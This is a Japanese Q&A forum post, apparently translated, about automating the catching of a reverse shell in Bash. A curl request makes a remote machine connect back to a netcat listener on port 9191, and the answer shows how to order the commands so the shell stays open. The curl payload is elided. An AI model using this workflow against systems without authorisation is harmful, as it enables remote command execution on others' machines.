
この質問は情報セキュリティに関係していますが、次のプロセスを自動化する回避策が見つからないようです。
netcatへの接続をトリガーするcURLコマンドがあります。自動化なしで、私は、nc -lvnp 9191
と入力し、別のターミナルで cURL コマンドを入力すると、ポート 9191 で自分のマシンへの接続が確立され、これを使用してリモート マシンでいくつかのコマンドを実行できるようになります。
私は Bash スクリプトで次のようなことを試しています:
nc -lvnp 9191&
curl ......
Netcat はリスナーを開始し、バックグラウンドに入り、cURL が接続をトリガーします (接続が返されます) が、netcat はすぐに閉じます。
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
Bash スクリプトから を削除しnc -lvnp 9191&
、Bash スクリプトに cURL コマンドだけを残すと、次のようになります。
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
ただし、「Enter」キーを押すと、netcat ジョブは直ちに中断されます。
[1] + 22609 suspended (tty input) nc -lvnp 9191
fg
netcat ジョブを再開して作業を続ける必要がありますが、どうにかしてこの状況から逃れられるのではないかと考えていました。
答え1
それで、誰かと話し合った後、ようやくうまく動作するようになりました。行の位置を変更して、curl
(バックグラウンド ジョブとして) が最初に来て、netcat
(バックグラウンドなし) が次に来るようにしました。アプローチは次のようになります。
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191